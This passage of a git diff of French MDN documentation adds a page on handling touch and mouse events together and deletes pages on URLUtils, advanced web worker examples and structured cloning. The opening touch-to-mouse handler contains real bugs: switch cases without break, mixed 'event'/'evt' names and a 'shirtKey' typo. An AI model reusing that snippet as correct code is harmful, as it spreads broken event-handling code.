function onTouch(evt) {
+  evt.preventDefault();
+  if (evt.touches.length > 1 || (evt.type == "touchend" && evt.touches.length > 0))
+    return;
+
+  var newEvt = document.createEvent("MouseEvents");
+  var type = null;
+  var touch = null;
+  switch (event.type) {
+    case "touchstart": type = "mousedown"; touch = event.changedTouches[0];
+    case "touchmove":  type = "mousemove"; touch = event.changedTouches[0];
+    case "touchend":   type = "mouseup"; touch = event.changedTouches[0];
+  }
+  newEvt.initMouseEvent(type, true, true, event.originalTarget.ownerDocument.defaultView, 0,
+    touch.screenX, touch.screenY, touch.clientX, touch.clientY,
+    evt.ctrlKey, evt.altKey, evt.shirtKey, evt.metaKey, 0, null);
+  event.originalTarget.dispatchEvent(newEvt);
+}
+
+ +

Appeler preventDefault() uniquement pour un deuxième toucher

+ +

Pour éviter que des événements de zoom (comme pinchZoom) ne se produisent sur la page, il est possible d'appeler la méthode preventDefault() sur le deuxième toucher de la série. Ce comportement n'est pas encore parfaitement défini dans les différentes spécifications. Différents résultats se produisent sur les différents navigateurs (ainsi iOS empêchera le zoom mais continuera à autoriser le déroulement de la page avec deux doigts, Android autorisera le zoom mais pas le déroulement, Opera et Firefox empêcheront ces deux opérations). Il est actuellement déconseillé d'être dépendant d'un de ces comportements en particulier. Il faut plutôt utiliser les méta-données concernant la vue virtuelle (viewport) pour éviter un zoom quelconque.

+ +
+
+ +

Compatibilité des navigateurs

+ +

{{Compat("api.Touch")}}

+ +
 
+ +

Notes relatives à Gecko

+ +

Le paramètre dom.w3c_touch_events.enabled peut être utilisé avec ses trois états pour désactiver (0), activer (1) et détecter automatiquement (2) le support des événements tactiles. La valeur par défaut est la détection automatique (2). Une fois que le paramètre a été changé, il est nécessaire de redémarrer le navigateur.

+ +
+

{{ gecko_callout_heading("12.0") }}

+ +

Avant Gecko 12.0 {{ geckoRelease("12.0") }}, Gecko ne supportait pas les contacts multiples simultanés. Seul un toucher à la fois était supporté.

+
+ +
Note : Avant Gecko 6.0 {{ geckoRelease("6.0") }}, Gecko permettait d'utiliser une API propriétaire pour les événements tactile. Cette API est maintenant dépréciée, celle-ci doit être utilisée à la place.
diff --git a/files/fr/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html b/files/fr/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html new file mode 100644 index 0000000000..97174a4763 --- /dev/null +++ b/files/fr/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html @@ -0,0 +1,64 @@ +--- +title: Gérer à la fois événement tactile et événement de la souris +slug: >- + Web/Guide/DOM/Events/Touch_events/Gérer_à_la_fois_événement_tactile_et_événement_de_la_souris +translation_of: Web/API/Touch_events/Supporting_both_TouchEvent_and_MouseEvent +--- +

{{DefaultAPISidebar("Touch Events")}}

+ +

Les interfaces {{domxref("Touch_events","touch")}} permettent aux applications de créer de meilleures expériences utilisateurs sur les appareils tactiles. Pourtant, la grande majorité du contenu web actuel est développé pour fonctionner uniquement avec la souris. En conséquence, même si un navigateur supporte le tactile, le navigateur continue à émuler les événements de la souris, donc le contenu qui se veut fonctionner uniquement à la souris fonctionnera toujours tel quel sans modification directe.

+ +

Idéalement, une application tactile n'a pas besoin de supporter explicitement la souris. Mais puisque le navigateur doit émuler les événements de la souris, il peut être nécessaire de gérer certains problèmes d'interaction. Ci-dessous, vous trouverez des détails concernant l'interaction et ses répercussions pour les développeurs d'application.

+ +

Déclenchement de l'événement

+ +

La norme des événements tactiles définit quelques exigences envers les navigateurs concernant l'interaction tactile et souris (voir la section Interaction with Mouse Events and click pour plus de détails), noter que le navigateur peut déclencher à la fois des événements tactiles et des événements de la souris en réponse à une seule et même entrée de l'utilisateur. Cette section décrit les exigences pouvant affecter une application.

+ +

Si le navigateur déclenche à la fois des événements tactiles et souris en réponse à une seule entrée d'un utilisateur, le navigateur doit déclencher un événement {{event("touchstart")}} avant tout événement de la souris. En conséquence, si une application ne veut pas que des événements de la souris soient déclenchés sur un élément {{domxref("Touch.target","target")}} spécifiquement tactile, le gestionnaire de l'événement tactile de l'élément devrait appeler {{domxref("Event.preventDefault()","preventDefault()")}} ainsi aucun événement additionnel de la souris sera envoyé.

+ +

Voici un extrait de code du gestionnaire de l'événement {{event("touchmove")}} qui appelle preventDefault().

+ +
// touchmove handler
+function process_touchmove(ev) {
+  // Call preventDefault() to prevent any further handling
+  ev.preventDefault();
+}
+
+ +

Ordre des événements

+ +

Même si l'ordre spécifique des événements tactiles et souris est défini par l'implémentation, la norme indique que l'ordre suivant est représentatif: pour une entrée :

+ +
    +
  • touchstart
    • +
  • Zero ou plus d'événements touchmove, suivant le mouvement de(s) doigt(s)
    • +
  • touchend
    • +
  • mousemove
    • +
  • mousedown
    • +
  • mouseup
    • +
  • click
    • +
+ +

Si l'événement {{event("touchstart")}}, {{event("touchmove")}} ou {{event("touchend")}} est annulé pendant une interaction, aucun événement de la souris ou du click sera déclenché, et la séquence des événements qui en résulte serait seulement :

+ +
    +
  • touchstart
    • +
  • Zero ou plus d'événements touchmove, suivant le mouvement de(s) doigt(s)
    • +
  • touchend
    • +
+ +

Community

+ + + + + + diff --git a/files/fr/web/api/urlutils/index.html b/files/fr/web/api/urlutils/index.html deleted file mode 100644 index 7bbe88b470..0000000000 --- a/files/fr/web/api/urlutils/index.html +++ /dev/null @@ -1,213 +0,0 @@ ---- -title: URLUtils -slug: Web/API/URLUtils -tags: - - API - - Experimental - - JavaScript - - Reference - - URL -translation_of: Web/API/HTMLHyperlinkElementUtils ---- -

{{APIRef}}{{SeeCompatTable}}

-

L'interface URLUtils définit des méthodes utilitaires pour travailler avec les URL.

-

il n'y a pas d'objets de ce type, mais quelques objets l'implémentent, comme {{domxref("Location")}}, {{domxref("URL")}}, {{domxref("HTMLAnchorElement")}}, et {{domxref("HTMLAreaElement")}}.

-

Propriétés

-

Cette interface n'hérite d'aucune propriété.

-
-
- {{domxref("URLUtils.href")}}
-
- Une {{domxref("DOMString")}} contenant l'URL entière.
-
- {{domxref("URLUtils.protocol")}}
-
- Une {{domxref("DOMString")}} contenant le schéma de protocole de l'URL, incluant le ':' final.
-
- {{domxref("URLUtils.host")}}
-
- Une {{domxref("DOMString")}} contenant l'hôte, c'est-à-dire le domaine, et, si le port de l'URL n'est pas vide (ce qui peut arriver s'il n'a pas été spécifié ou si la valeur spécifiée est celle du port par défaut du schéma de l'URL), un ':', et le port de l'URL.
-
- {{domxref("URLUtils.hostname")}}
-
- Une {{domxref("DOMString")}} contenant le domaine de l'URL.
-
- {{domxref("URLUtils.port")}}
-
- Une {{domxref("DOMString")}} contenant le numéro de port de l'URL.
-
- {{domxref("URLUtils.pathname")}}
-
- Une {{domxref("DOMString")}} contenant un '/' initial suivi du chemin de l'URL.
-
- {{domxref("URLUtils.search")}}
-
- Une {{domxref("DOMString")}} contenant un '?' suivi des paramètres de l'URL.
-
- {{domxref("URLUtils.hash")}}
-
- Une {{domxref("DOMString")}} contenant un '#' suivi de l'identifiant de fragment de l'URL.
-
- {{domxref("URLUtils.username")}}
-
- Une {{domxref("DOMString")}} contenant le nom d'utilisateur spécifié devant le nom de domaine.
-
- {{domxref("URLUtils.password")}}
-
- Une {{domxref("DOMString")}} contenant le mot de passe spécifié devant le nom de domaine.
-
- {{domxref("URLUtils.origin")}} {{readonlyInline}}
-
- Retourne une {{domxref("DOMString")}} contenant l'origine de l'URL, c'est-à-dire son schéma, son domaine et son port.
-
- {{domxref("URLUtils.searchParams")}}
-
- Retourne un objet {{domxref("URLSearchParams")}} permettant d'accéder aux arguments de requête GET contenus dans l'URL.
-
-

Méthodes

-

Cette interface n'hérite d'aucune méthode.

-
-
- {{domxref("URLUtils.toString()")}}
-
- Retourne une {{domxref("DOMString")}} contenant l'URL entière. C'est un synonyme de {{domxref("URLUtils.href")}}, sauf qu'il ne peut être utilisé pour modifier la valeur.
-
-

Spécifications

- - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('URL', '#urlutils', 'URLUtils')}}{{Spec2('URL')}}Définition initiale
-

Compatibilité

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support de base{{CompatNo}} [1]{{CompatGeckoDesktop("22")}} [1]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
searchParams{{CompatUnknown}}{{CompatGeckoDesktop("29")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
username et password{{CompatUnknown}}{{CompatGeckoDesktop("26")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
origin{{CompatUnknown}}{{CompatGeckoDesktop("26")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
origin sur Window.location{{CompatUnknown}}{{CompatGeckoDesktop("21")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support de base{{CompatNo}} [1]{{CompatNo}} [1]{{CompatGeckoMobile("22")}} [1]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
searchParams{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
username et password{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("26")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
origin{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("26")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
origin sur Window.location{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("21")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
-

[1] Bien qu'elles ne soient pas groupées dans une seule interface abstraite, ces méthodes sont directement disponibles sur les interfaces qui les implémentent, si cette interface est supportée.

-

Voir aussi

-
    -
  • Autres interfaces associées aux URL : {{domxref("URL")}}, {{domxref("URLUtils")}}, et {{domxref("URLSearchParams")}}.
    • -
  • Interfaces qui implémentent celle-ci : {{domxref("Location")}}, {{domxref("HTMLAnchorElement")}}, {{domxref("HTMLAreaElement")}}.
    • -
diff --git a/files/fr/web/api/web_workers_api/advanced_concepts_and_examples/index.html b/files/fr/web/api/web_workers_api/advanced_concepts_and_examples/index.html deleted file mode 100644 index b925ca7f4b..0000000000 --- a/files/fr/web/api/web_workers_api/advanced_concepts_and_examples/index.html +++ /dev/null @@ -1,423 +0,0 @@ ---- -title: Concepts avancés et exemples -slug: Web/API/Web_Workers_API/Advanced_concepts_and_examples -translation_of: Web/API/Web_Workers_API/Using_web_workers -translation_of_original: Web/API/Web_Workers_API/Advanced_concepts_and_examples ---- -
-

Cet article fournit de nombreux détails et maints exemples pour illustrer les concepts avancés des web workers.

-
- -

Passage de données : copie, et non partage

- -

Les données passées entre la page principale et les workers sont copiées, et non partagées. Les objets sont sérialisées au moment où ils sont confiés au worker, et consécutivement désérialisés à l'autre bout. La page et le worker ne partagent pas la même instance, ainsi au final une copie est créée de chaque côté. La plupart des navigateurs implémentent cette caractéristique en tant que clonage structuré.

- -

Avant de poursuivre, créons à des fins didactiques une fonction nommée emulateMessage(), avec pour objectif de simuler le comportement d'une valeur qui est clonée et non partagée durant le passage du worker à la page principale ou inversement :

- -
function emulateMessage (vVal) {
-    return eval("(" + JSON.stringify(vVal) + ")");
-}
-
-// Tests
-
-// test #1
-var example1 = new Number(3);
-alert(typeof example1); // objet
-alert(typeof emulateMessage(example1)); // nombre
-
-// test #2
-var example2 = true;
-alert(typeof example2); // booléen
-alert(typeof emulateMessage(example2)); // booléen
-
-// test #3
-var example3 = new String("Hello World");
-alert(typeof example3); // objet
-alert(typeof emulateMessage(example3)); // chaîne de caractères
-
-// test #4
-var example4 = {
-    "name": "John Smith",
-    "age": 43
-};
-alert(typeof example4); // objet
-alert(typeof emulateMessage(example4)); // objet
-
-// test #5
-function Animal (sType, nAge) {
-    this.type = sType;
-    this.age = nAge;
-}
-var example5 = new Animal("Cat", 3);
-alert(example5.constructor); // Animal
-alert(emulateMessage(example5).constructor); // Objet
- -

Une valeur qui est clonée et non partagée est appelée message. Comme vous le savez probablement dès à présent, les messages peuvent être envoyés à et à partir du thread principal en utilisant postMessage(), et l'attribut {{domxref("MessageEvent.data", "data")}} de l'événement message contient les données retournées par le worker.

- -

example.html (la page principale) :

- -
var myWorker = new Worker("my_task.js");
-
-myWorker.onmessage = function (oEvent) {
-  console.log("Worker said : " + oEvent.data);
-};
-
-myWorker.postMessage("ali");
- -

my_task.js (leworker) :

- -
postMessage("I\'m working before postMessage(\'ali\').");
-
-onmessage = function (oEvent) {
-  postMessage("Hi " + oEvent.data);
-};
- -

L'algorithme de clonage structurée peut accepter du JSON et quelques autres choses impossibles en JSON — comme les références circulaires.

- -

Exemples de passages de données

- -

Exemple #1 : Créer un "eval() asynchrone" générique

- -

L'exemple suivant montre comment utiliser un worker afin d'exécuter de manière asynchrone n'importe quel code JavaScript permis dans un worker, au moyen d'une méthode eval() appelée dans le worker :

- -
// Syntaxe : asyncEval(code[, listener])
-
-var asyncEval = (function () {
-
-  var aListeners = [], oParser = new Worker("data:text/javascript;charset=US-ASCII,onmessage%20%3D%20function%20%28oEvent%29%20%7B%0A%09postMessage%28%7B%0A%09%09%22id%22%3A%20oEvent.data.id%2C%0A%09%09%22evaluated%22%3A%20eval%28oEvent.data.code%29%0A%09%7D%29%3B%0A%7D");
-
-  oParser.onmessage = function (oEvent) {
-    if (aListeners[oEvent.data.id]) { aListeners[oEvent.data.id](oEvent.data.evaluated); }
-    delete aListeners[oEvent.data.id];
-  };
-
-
-  return function (sCode, fListener) {
-    aListeners.push(fListener || null);
-    oParser.postMessage({
-      "id": aListeners.length - 1,
-      "code": sCode
-    });
-  };
-
-})();
- -

La data URI est équivalente à une requête réseau, avec la réponse suivante :

- -
onmessage = function (oEvent) {
-	postMessage({
-		"id": oEvent.data.id,
-		"evaluated": eval(oEvent.data.code)
-	});
-}
- -

Exemples d'utilisation :

- -
// message d'alerte asynchrone...
-asyncEval("3 + 2", function (sMessage) {
-    alert("3 + 2 = " + sMessage);
-});
-
-// affichage asynchrone d'un message...
-asyncEval("\"Hello World!!!\"", function (sHTML) {
-    document.body.appendChild(document.createTextNode(sHTML));
-});
-
-// néant asynchrone...
-asyncEval("(function () {\n\tvar oReq = new XMLHttpRequest();\n\toReq.open(\"get\", \"http://www.mozilla.org/\", false);\n\toReq.send(null);\n\treturn oReq.responseText;\n})()");
- -

Exemple #2 : passage avancé de données JSON et création d'un système d'échange

- -

Si vous devez passer des données complexes et appeler différentes fonctions à la fois dans la page principale et dans le worker, vous pouvez créer un système comme suit.

- -

example.html (la page principale) :

- -
<!doctype html>
-<html>
-<head>
-<meta charset="UTF-8"  />
-<title>MDN Example - Queryable worker</title>
-<script type="text/javascript">
-  /*
-    QueryableWorker instances methods:
-     * sendQuery(queryable function name, argument to pass 1, argument to pass 2, etc. etc): calls a Worker's queryable function
-     * postMessage(string or JSON Data): see Worker.prototype.postMessage()
-     * terminate(): terminates the Worker
-     * addListener(name, function): adds a listener
-     * removeListener(name): removes a listener
-    QueryableWorker instances properties:
-     * defaultListener: the default listener executed only when the Worker calls the postMessage() function directly
-  */
-  function QueryableWorker (sURL, fDefListener, fOnError) {
-    var oInstance = this, oWorker = new Worker(sURL), oListeners = {};
-    this.defaultListener = fDefListener || function () {};
-    oWorker.onmessage = function (oEvent) {
-      if (oEvent.data instanceof Object && oEvent.data.hasOwnProperty("vo42t30") && oEvent.data.hasOwnProperty("rnb93qh")) {
-        oListeners[oEvent.data.vo42t30].apply(oInstance, oEvent.data.rnb93qh);
-      } else {
-        this.defaultListener.call(oInstance, oEvent.data);
-      }
-    };
-    if (fOnError) { oWorker.onerror = fOnError; }
-    this.sendQuery = function (/* nom de la fonction requêtable, argument à passer 1, argument à passer 2, etc. etc */) {
-      if (arguments.length < 1) { throw new TypeError("QueryableWorker.sendQuery - not enough arguments"); return; }
-      oWorker.postMessage({ "bk4e1h0": arguments[0], "ktp3fm1": Array.prototype.slice.call(arguments, 1) });
-    };
-    this.postMessage = function (vMsg) {
-      //Je ne pense pas qu'il y ait besoin d'appeler la méthode call()
-      //que diriez-vous tout simplement de oWorker.postMessage(vMsg);
-      //le même cas se pose avec terminate
-      //bien, juste un peu plus vite, aucune recherche dans la chaîne des prototypes
-      Worker.prototype.postMessage.call(oWorker, vMsg);
-    };
-    this.terminate = function () {
-      Worker.prototype.terminate.call(oWorker);
-    };
-    this.addListener = function (sName, fListener) {
-      oListeners[sName] = fListener;
-    };
-    this.removeListener = function (sName) {
-      delete oListeners[sName];
-    };
-  };
-
-  // votre worker "queryable" personnalisé
-  var oMyTask = new QueryableWorker("my_task.js" /* , votreEcouteurDeMessageParDefautIci [optional], votreEcouteurDErreurIci [optional] */);
-
-  // vos "écouteurs" personnalisés
-
-  oMyTask.addListener("printSomething", function (nResult) {
-    document.getElementById("firstLink").parentNode.appendChild(document.createTextNode(" The difference is " + nResult + "!"));
-  });
-
-  oMyTask.addListener("alertSomething", function (nDeltaT, sUnit) {
-    alert("Worker waited for " + nDeltaT + " " + sUnit + " :-)");
-  });
-</script>
-</head>
-<body>
-  <ul>
-    <li><a id="firstLink" href="javascript:oMyTask.sendQuery('getDifference', 5, 3);">What is the difference between 5 and 3?</a></li>
-    <li><a href="javascript:oMyTask.sendQuery('waitSomething');">Wait 3 seconds</a></li>
-    <li><a href="javascript:oMyTask.terminate();">terminate() the Worker</a></li>
-  </ul>
-</body>
-</html>
- -

my_task.js (le worker) :

- -
// vos fonctions PRIVEES personnalisées
-
-function myPrivateFunc1 () {
-  // instructions à exécuter
-}
-
-function myPrivateFunc2 () {
-  // instructions à exécuter
-}
-
-// etc. etc.
-
-// vos fonctions PUBLIQUES personnalisées (i.e. requêtables depuis la page principale)
-
-var queryableFunctions = {
-  // exemple #1 : obtenir la différence entre deux nombres :
-  getDifference: function (nMinuend, nSubtrahend) {
-      reply("printSomething", nMinuend - nSubtrahend);
-  },
-  // exemple #2 : attendre trois secondes
-  waitSomething: function () {
-      setTimeout(function() { reply("alertSomething", 3, "seconds"); }, 3000);
-  }
-};
-
-// fonctions système
-
-function defaultQuery (vMsg) {
-  // votre fonction PUBLIQUE par défaut est exécutée seulement lorsque la page principale appelle la méthode queryableWorker.postMessage() directement
-  // instructions à exécuter
-}
-
-function reply (/* listener name, argument to pass 1, argument to pass 2, etc. etc */) {
-  if (arguments.length < 1) { throw new TypeError("reply - not enough arguments"); return; }
-  postMessage({ "vo42t30": arguments[0], "rnb93qh": Array.prototype.slice.call(arguments, 1) });
-}
-
-onmessage = function (oEvent) {
-  if (oEvent.data instanceof Object && oEvent.data.hasOwnProperty("bk4e1h0") && oEvent.data.hasOwnProperty("ktp3fm1")) {
-    queryableFunctions[oEvent.data.bk4e1h0].apply(self, oEvent.data.ktp3fm1);
-  } else {
-    defaultQuery(oEvent.data);
-  }
-};
- -

Il est possible d'échanger le contenu de chaque message page principale -> worker et worker -> page principale.

- -

Passage de données par transfert de propriété (objets transférables)

- -

Google Chrome 17+ et Firefox 18+ proposent une manière additionnelle de passer certains types d'objets (les objets transférables, c'est-à-dire les objets implémentant l'interface {{domxref("Transferable")}}) vers ou à partir d'un worker avec une haute performance. Les objets transférables sont transférés d'un contexte vers un autre sans aucune opération de copie, ce qui conduit à d'énormes gains de performance lorsque de gros ensembles de données sont envoyés. Considérez la chose comme un passage par référence si vous venez du monde C/C++. Cependant, contrairement au passage par référence, la 'version' issue du contexte appelant n'est plus disponible une fois transférée. Sa propriété est transférée au nouveau contexte. Par exemple, lors du transfert d'un {{domxref("ArrayBuffer")}} à partir de votre application principale vers le script d'un worker, le {{domxref("ArrayBuffer")}} original est nettoyé et définitivement inutilisable. Son contenu est (tout à fait littéralement) transféré au contexte du worker.

- -
// Crée un "fichier" de 32MB et le remplit.
-var uInt8Array = new Uint8Array(1024*1024*32); // 32MB
-for (var i = 0; i < uInt8Array.length; ++i) {
-  uInt8Array[i] = i;
-}
-
-worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
-
- -
-

Remarque : pour plus d'information sur les objets transférables, la performance et la détection de fonctionnalité de cette méthode, lisez Transferable Objects: Lightning Fast! sur HTML5 Rocks.

-
- -

Workers embarqués

- -

Il n'y a pas une manière "officielle" d'embarquer le code d'un worker dans une page web, comme les éléments {{ HTMLElement("script") }} le font pour les scripts normaux. Mais un élément {{ HTMLElement("script") }} qui n'aurait pas d'attribut src et dont l'attribut type n'identifierait pas un type MIME exécutable peut être considéré comme un élément de bloc de données dont JavaScript peut faire usage.  Les "blocs de données" sont une caractéristique plus générale d'HTML5 qui peuvent contenir presque n'importe quelles données textuelles. Ainsi, un worker pourrait être embarqué de cette façon :

- -
<!DOCTYPE html>
-<html>
-<head>
-<meta charset="UTF-8" />
-<title>MDN Example - Embedded worker</title>
-<script type="text/js-worker">
-  // Ce script NE SERA PAS traité par les moteurs JS parce que son type MIME est text/js-worker.
-  var myVar = "Hello World!";
-  // Le reste du code de votre worker commence ici.
-</script>
-<script type="text/javascript">
-  // Ce script SERA analysé par les moteurs JS engines parce que son type MIME est text/javascript.
-  function pageLog (sMsg) {
-    // Utilisation d'un fragment : le navigateur réaffichera/réorganisera le DOM seulement une fois.
-    var oFragm = document.createDocumentFragment();
-    oFragm.appendChild(document.createTextNode(sMsg));
-    oFragm.appendChild(document.createElement("br"));
-    document.querySelector("#logDisplay").appendChild(oFragm);
-  }
-</script>
-<script type="text/js-worker">
-  // Ce script NE SERA PAS traité par les moteurs JS parce que son type MIME est text/js-worker.
-  onmessage = function (oEvent) {
-    postMessage(myVar);
-  };
-  // Le reste du code de votre worker commence ici.
-</script>
-<script type="text/javascript">
-  // Ce script SERA analysé par les moteurs JS engines parce que son type MIME est text/javascript.
-
-  // Dans le passé... :
-  // blob builder a existé
-  // ...mais nous utilisons désormais Blob...:
-  var blob = new Blob(Array.prototype.map.call(document.querySelectorAll("script[type=\"text\/js-worker\"]"), function (oScript) { return oScript.textContent; }),{type: "text/javascript"});
-
-  // Création d'une nouvelle propriété document.worker contenant tous nos scripts "text/js-worker".
-  document.worker = new Worker(window.URL.createObjectURL(blob));
-
-  document.worker.onmessage = function (oEvent) {
-    pageLog("Received: " + oEvent.data);
-  };
-
-  // Démarrage du worker.
-  window.onload = function() { document.worker.postMessage(""); };
-</script>
-</head>
-<body><div id="logDisplay"></div></body>
-</html>
- -

Le worker embarqué est maintenant imbriqué dans une nouvelle propriété personnalisée document.worker.

- -

Exemples

- -

Cette section fournit plusieurs exemples sur la façon d'utiliser les workers DOM.

- -

Réaliser des calculs en arrière-plan

- -

Les workers sont principalement utiles pour permettre à votre code de réaliser des calculs très consommateur en CPU sans bloquer le thread de l'interface utilisateur. Dans cet exemple, un worker est utilisé pour calculer la suite de Fibonacci.

- -

Le code JavaScript

- -

Le code JavaScript suivant est stocké dans le fichier "fibonacci.js" référencé par le fichier HTML dans la prochaine section.

- -
var results = [];
-
-function resultReceiver(event) {
-  results.push(parseInt(event.data));
-  if (results.length == 2) {
-    postMessage(results[0] + results[1]);
-  }
-}
-
-function errorReceiver(event) {
-  throw event.data;
-}
-
-onmessage = function(event) {
-  var n = parseInt(event.data);
-
-  if (n == 0 || n == 1) {
-    postMessage(n);
-    return;
-  }
-
-  for (var i = 1; i <= 2; i++) {
-    var worker = new Worker("fibonacci.js");
-    worker.onmessage = resultReceiver;
-    worker.onerror = errorReceiver;
-    worker.postMessage(n - i);
-  }
- };
- -

Le worker affecte à la propriété onmessage  une fonction qui recevra les messages envoyés lorsque la méthode  postMessage() de l'objet worker est appelée (remarquez que cela diffère de définir une variable globale de ce nom, ou de définir une fonction avec ce nom.   var onmessage et function onmessage définissent des propriétés globales avec ces noms, mais elles n'enregistrent pas la fonction pour recevoir les messages envoyés par la page web qui a créé le worker). Au démarrage de la récursion, il engendre ainsi de nouvelles copies de lui-même pour gérer chacune des itérations du calcul.

- -

Le code HTML

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="UTF-8"  />
-    <title>Test threads fibonacci</title>
-  </head>
-  <body>
-
-  <div id="result"></div>
-
-  <script language="javascript">
-
-    var worker = new Worker("fibonacci.js");
-
-    worker.onmessage = function(event) {
-      document.getElementById("result").textContent = event.data;
-      dump("Got: " + event.data + "\n");
-    };
-
-    worker.onerror = function(error) {
-      dump("Worker error: " + error.message + "\n");
-      throw error;
-    };
-
-    worker.postMessage("5");
-
-  </script>
-  </body>
-</html>
-
- -

La page web crée un élément div avec l'ID  result , qui sera utilisé pour afficher le résultat, puis engendre le worker.  Après création du worker, le gestionnaire onmessage est configuré pour afficher les résultats en renseignant le contenu de l'élément div, et le gestionnaire onerror est configuré pour capturer le message d'erreur.

- -

Finalement, un message est envoyé au worker pour le démarrer.

- -

Tester cet exemple.

- -

Réaliser des E/S web en arrière-plan

- -

Vous pouvez trouver un tel exemple dans l'article Using workers in extensions .

- -

Répartir des tâches entre plusieurs workers

- -

Les ordinateurs multi-coeur étant de plus en plus répandus, il est souvent utile de répartir le calcul de tâches complexes entre différents workers afin de tirer partie des coeurs de ces multiprocesseurs.

- -

Voir aussi

- - diff --git a/files/fr/web/api/web_workers_api/algorithme_clonage_structure/index.html b/files/fr/web/api/web_workers_api/algorithme_clonage_structure/index.html deleted file mode 100644 index dfb8c20bf9..0000000000 --- a/files/fr/web/api/web_workers_api/algorithme_clonage_structure/index.html +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: L’algorithme de clonage structuré -slug: Web/API/Web_Workers_API/algorithme_clonage_structure -translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm ---- -

L’algorithme de clonage structuré est un nouvel algorithme défini par la spécification HTML5 pour sérialiser les objets JavaScript complexes. Il est plus puissant que JSON en cela qu’il supporte la sérialisation d’objets contenant des graphes cycliques — des objets peuvent faire référence à des objets faisant référence à d’autres objets dans le même graphe. De plus, dans certains cas, l’algorithme de clonage structuré peut être plus efficace que JSON.

- -

L’algorithme, essentiellement, parcourt tous les champs de l’objet original, copiant les valeurs de chaque champ dans un nouvel objet. Si un champ est lui-même un objet avec des champs, ces champs sont parcourus de manière récursive jusqu’à ce que chaque champ et sous-champ aient été copié dans le nouvel objet.

- -

Avantages par rapport à JSON

- -

Il y a quelques avantages notables à utiliser l’algorithme de clonage structuré plutôt que JSON :

- -
    -
  • Le clonage structuré peut copier des objets RegExp.
    • -
  • Le clonage structuré peut copier des objets {{ domxref("Blob") }}, {{ domxref("File") }} et {{ domxref("FileList") }}.
    • -
  • Le clonage structuré peut copier des objets {{ domxref("ImageData") }}. Les dimensions du {{ domxref("CanvasPixelArray") }} du clone correspondront à celles de l’original, et il recevra une copie des mêmes données de pixels.
    • -
  • Le clonage structuré copie correctement les objets contenant des graphes de références cycliques.
    • -
- -

Ce qui ne marche pas avec le clonage structuré

- -
    -
  • Les objets Error et Function ne peuvent pas être copiés par l’algorithme de clonage structuré ; toute tentative de le faire émettra une exception DATA_CLONE_ERR.
    • -
  • De la même manière, toute tentative de cloner des nœuds DOM émettra une exception DATA_CLONE_ERR.
    • -
  • Certains paramètres d’objets ne sont pas préservés : -
      -
    • Le champ lastIndex des objets RegExp n’est pas préservé.
      • -
    • Les descripteurs de propriétés, accesseurs et mutateurs (ainsi que les fonctionnalités de métadonnées similaires) ne sont pas copiés. Par exemple, si un objet est marqué en lecture seule via un descripteur de propriété, il sera en lecture et écriture dans le clone, car c’est la condition par défaut.
      • -
    • La chaîne de prototypes n’est ni parcourue, ni copiée.
      • -
    -
    • -
- -

Types supportés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Type d’objetNotes
Tous types primitifsÀ l’exception des symboles
Objet Booléen 
Objet String 
Date 
RegExpLe champ lastIndex n’est pas préservé
{{ domxref("Blob") }} 
{{ domxref("File") }} 
{{ domxref("FileList") }} 
ArrayBuffer 
ArrayBufferViewCe qui implique tous les tableaux typés tels que Int32Array, etc.
{{ domxref("ImageData") }} 
Array 
ObjectInclut seulement les objets plats (par ex. depuis un objet littéral)
Map 
Set 
- -

Alternative : copie profonde

- -

Si vous voulez une copie profonde d’un objet (c’est-à-dire une copie récursive de toutes les propriétés imbriquées, en parcourant la chaîne des prototypes), vous devez employer une autre approche. Ce qui suit est un exemple possible.

- -
function clone(objectToBeCloned) {
-  // Cas basique.
-  if (!(objectToBeCloned instanceof Object)) {
-    return objectToBeCloned;
-  }
-
-  var objectClone;
-
-  // Filtre les objets spéciaux.
-  var Constructor = objectToBeCloned.constructor;
-  switch (Constructor) {
-    // Implémenter d’autres objets spéciaux ici.
-    case RegExp:
-      objectClone = new Constructor(objectToBeCloned);
-      break;
-    case Date:
-      objectClone = new Constructor(objectToBeCloned.getTime());
-      break;
-    default:
-      objectClone = new Constructor();
-  }
-
-  // Clone chaque propriété.
-  for (var prop in objectToBeCloned) {
-    objectClone[prop] = clone(objectToBeCloned[prop]);
-  }
-
-  return objectClone;
-}
-
- -
  Note : Cet algorithme ne prend en charge que les objets spéciaux RegExp, Array et Date. Vous pouvez implémenter d’autres cas spéciaux selon vos besoins.
- -

Voir aussi

